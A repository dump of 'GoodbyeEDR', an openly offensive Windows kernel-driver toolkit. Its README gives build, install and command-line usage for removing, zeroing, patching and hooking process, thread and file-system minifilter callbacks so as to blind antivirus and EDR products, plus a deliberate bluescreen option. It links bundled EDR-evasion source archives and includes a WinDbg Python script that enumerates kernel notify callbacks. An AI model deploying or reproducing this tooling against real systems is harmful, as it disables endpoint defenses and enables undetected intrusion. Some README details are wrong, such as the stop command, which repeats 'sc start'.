█─████─██─█─██─█─██──█─██──██───██─█████─███─██──█─██─█ 5 | █─█──█─██─█─██─█─██──█────████─███───███───█─██──█────█ 6 | █─██─█─██─█─██─█─██──█─██──███─███─█████─███─██──█─█─██ 7 | █────█────█────█────██────████─███───███───█────██─█─██ 8 | ██████████████████████████████─████████████████████████ 9 | 10 | ## Info 11 | Disable & hook notifications of AV & EDR from events occurring in the system. 12 | 13 | The project has the following features: 14 | 1. List 15 | - callbacks, 16 | - minifilters. 17 | 3. Removing callback functions: 18 | - create/exit of processes, 19 | - create/exit of threads. 20 | 4. Hook callback functions with filtering by process name: 21 | - create/exit of processes, 22 | - create/exit of threads. 23 | 5. Hook file system minifilters. 24 | 6. Abuse AV & EDR after remove or hook. 25 | 26 | The assembly is a compilation of two great projects: 27 | 1. https://github.com/uf0o/windows-ps-callbacks-experiments (Fork deleted repository https://github.com/fdiskyou/windows-ps-callbacks-experiments). 28 | 2. https://github.com/SHA-MRIZ/FsMinfilterHooking 29 | 30 | Additionally, added the ability to hook callback functions with filtering by the name of the process: create/exit of processes and threads & hook of file system minifilters. 31 | 32 | ## Build 33 | The project is built for Visual Studio 2019 with SDK & DDK v10.0.22000.0 for x64. 34 | 35 | ## Install 36 | 37 | After built put all files together in one directory and place the same directory install.bat: 38 | - `Dobro.sys` - driver 39 | - `DobroCli.exe` - cli for control driver 40 | - `Install.bat` - install 41 | 42 | Run install.bat as administrator. 43 | 44 | Start driver: 45 | 46 | `sc start dobro` 47 | 48 | Stop driver: 49 | 50 | `sc start dobro` 51 | 52 | ## Usage 53 | 54 | For control driver run DorbroCli.exe in cmd.exe: 55 | 56 | ``` 57 | Usage: DobroCli.exe 58 | Options: 59 | -h Show this message. 60 | -l Process & Thread Notify Callbacks Address's & FS Minifilters List. 61 | 62 | -zp Zero out Process Notify Callback's Array (Cowboy Mode). 63 | -dp Delete Specific Process Notify Callback (Red Team Mode). 64 | -pp Patch Specific Process Notify Callback (Threat Actor Mode). 65 | -rp Rollback to the original Process Notify Callback (Thoughtful Ninja Mode). 66 | 67 | -zt Zero out Thread Notify Callback's Array (Cowboy Mode). 68 | -dt Delete Specific Thread Notify Callback (Red Team Mode). 69 | -pt Patch Specific Thread Notify Callback (Threat Actor Mode). 70 | -rt Rollback to the original Thread Notify Callback (Thoughtful Ninja Mode). 71 | 72 | -hps Hook PS notify routine. 73 | -ups Unhook PS notify routine. 74 | -hthr Hook THR notify routine. 75 | -uthr Unhook THR notify routine. 76 | 77 | -hm Hook FS Minifilter. 78 | -um Unhook FS Minifilter. 79 | 80 | -chk Try AV/EDR for fun ;-) (Inject PS, need admin). 81 | 82 | -dbg_lm List modules in Driver DbgPrint. 83 | -dbg_bsod BS0D. 84 | ``` 85 | 86 | Get list callbacks process and thread notify routine + file system minifilters: 87 | 88 | `DobroCli.exe -l` 89 | 90 | Hook thread and process callback notify routine with filter by name process, no problem: 91 | 92 | `DobroCli.exe -hthr 1 kxxx` 93 | 94 | `DobroCli.exe -hps 7 kxxx` 95 | 96 | Hook file system minifilters, no problem: 97 | 98 | `DobroCli.exe -hm 1 kxxxxxx` 99 | 100 | **** 101 | ![alt text](https://github.com/Rostelecom-Red-Team/GoodbyeEDR/blob/main/Screenshots/All_In_One.jpg?raw=true) 102 | **** 103 | 104 | ## Links 105 | Articles covering these issues in detail: 106 | 1. https://habr.com/ru/company/rostelecom/blog/597619/ [RU] 107 | 2. https://synzack.github.io/Blinding-EDR-On-Windows/ 108 | 3. http://deniable.org/windows/windows-callbacks ---> https://web.archive.org/web/20200326040826/http://deniable.org/windows/windows-callbacks 109 | 4. https://aviadshamriz.medium.com/part-1-fs-minifilter-hooking-7e743b042a9d 110 | -------------------------------------------------------------------------------- /Screenshots/All_In_One.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rostelecom-Red-Team/GoodbyeEDR/7c8c9a0940d648da167dfa7540e5c687ebe59eb7/Screenshots/All_In_One.jpg -------------------------------------------------------------------------------- /Source/CheekyBlinder-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rostelecom-Red-Team/GoodbyeEDR/7c8c9a0940d648da167dfa7540e5c687ebe59eb7/Source/CheekyBlinder-master.zip -------------------------------------------------------------------------------- /Source/EDRSandblast-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rostelecom-Red-Team/GoodbyeEDR/7c8c9a0940d648da167dfa7540e5c687ebe59eb7/Source/EDRSandblast-master.zip -------------------------------------------------------------------------------- /Source/FsMinfilterHooking-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rostelecom-Red-Team/GoodbyeEDR/7c8c9a0940d648da167dfa7540e5c687ebe59eb7/Source/FsMinfilterHooking-master.zip -------------------------------------------------------------------------------- /Source/windows-ps-callbacks-experiments-master.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rostelecom-Red-Team/GoodbyeEDR/7c8c9a0940d648da167dfa7540e5c687ebe59eb7/Source/windows-ps-callbacks-experiments-master.zip -------------------------------------------------------------------------------- /Windbg-Scripts/psnotifycallbacks.py: -------------------------------------------------------------------------------- 1 | from pykd import * 2 | 3 | version = getSystemVersion() 4 | 5 | def ptr_size(): 6 | if is64bitSystem(): 7 | return 8 8 | else: 9 | return 4 10 | 11 | def checkKernelDebugging(): 12 | if not isKernelDebugging() and not isLocalKernelDebuggerEnabled(): 13 | print("[-] Not running inside KD!") 14 | exit(1) 15 | 16 | # load required module 'nt' 17 | def loadNT(): 18 | try: 19 | nt = module("nt") 20 | except: 21 | print("[-] Couldn't not get the base address of 'ntoskrnl'.") 22 | exit(1) 23 | return nt 24 | 25 | def fastref(_EX_FAST_REF): 26 | return ((_EX_FAST_REF >> 4) << 4) 27 | 28 | def listCallbacks(CallbacksArray, ArraySize): 29 | PSIZE = ptr_size() 30 | for i in range(ArraySize): 31 | callback = (CallbacksArray + (i * PSIZE)) 32 | try: 33 | callback = ptrPtr(callback) 34 | except: 35 | print i 36 | print ArraySize 37 | print("[-] Couldn't read memory!!") 38 | exit(1) 39 | if callback == 0: 40 | continue 41 | obj = fastref(callback) 42 | 43 | try: 44 | apicall = ptrPtr(obj + (PSIZE)) 45 | except: 46 | print("[-] Couldn't read memory!") 47 | exit(1) 48 | 49 | print("[{}] {:#x} ({})".format(i, apicall, findSymbol(apicall))) 50 | 51 | def processCallbacks(nt): 52 | try: 53 | PspCreateProcessNotifyRoutineExCount = ptrDWord(nt.offset("PspCreateProcessNotifyRoutineExCount")) 54 | PspCreateProcessNotifyRoutineCount = ptrDWord(nt.offset("PspCreateProcessNotifyRoutineCount")) 55 | PspCreateProcessNotifyRoutine = nt.offset("PspCreateProcessNotifyRoutine") 56 | except: 57 | print("[-] Couldn't not read memory and/or load Symbols") 58 | exit(1) 59 | 60 | if version.buildNumber <= 3790: 61 | num = PspCreateProcessNotifyRoutineCount 62 | else: 63 | num = PspCreateProcessNotifyRoutineExCount + PspCreateProcessNotifyRoutineCount 64 | print("[+] Total of: {} CreateProcessNotifyRoutines".format(num)) 65 | listCallbacks(PspCreateProcessNotifyRoutine, num) 66 | 67 | def threadCallbacks(nt): 68 | try: 69 | PspCreateThreadNotifyRoutineCount = ptrDWord(nt.offset("PspCreateThreadNotifyRoutineCount")) 70 | PspCreateThreadNotifyRoutine = nt.offset("PspCreateThreadNotifyRoutine") 71 | except: 72 | print("[-] Couldn't not read memory and/or load Symbols") 73 | exit(1) 74 | 75 | if version.buildNumber >= 10240: 76 | num = PspCreateThreadNotifyRoutineCount + ptrDWord(nt.offset("PspCreateThreadNotifyRoutineNonSystemCount")) 77 | else: 78 | num = PspCreateThreadNotifyRoutineCount 79 | print("\n[+] Total of: {} CreateThreadNotifyRoutines".format(num)) 80 | listCallbacks(PspCreateThreadNotifyRoutine, num) 81 | 82 | def loadimageCallbacks(nt): 83 | try: 84 | PspLoadImageNotifyRoutineCount = ptrDWord(nt.offset("PspLoadImageNotifyRoutineCount")) 85 | PspLoadImageNotifyRoutine = nt.offset("PspLoadImageNotifyRoutine") 86 | except: 87 | print("[-] Couldn't not read memory and/or load Symbols") 88 | exit(1) 89 | 90 | num = PspLoadImageNotifyRoutineCount 91 | print("\n[+] Total of: {} CreateLoadImageRoutines".format(num)) 92 | listCallbacks(PspLoadImageNotifyRoutine, num) 93 | 94 | if __name__ == '__main__': 95 | checkKernelDebugging() 96 | nt = loadNT() 97 | processCallbacks(nt) 98 | threadCallbacks(nt) 99 | loadimageCallbacks(nt) 100 | -------------------------------------------------------------------------------- /Windbg-Scripts/psnotifycallbacks.wdb: -------------------------------------------------------------------------------- 1 | $$ displays a list of all registered process creation callbacks 2 | $$ $$>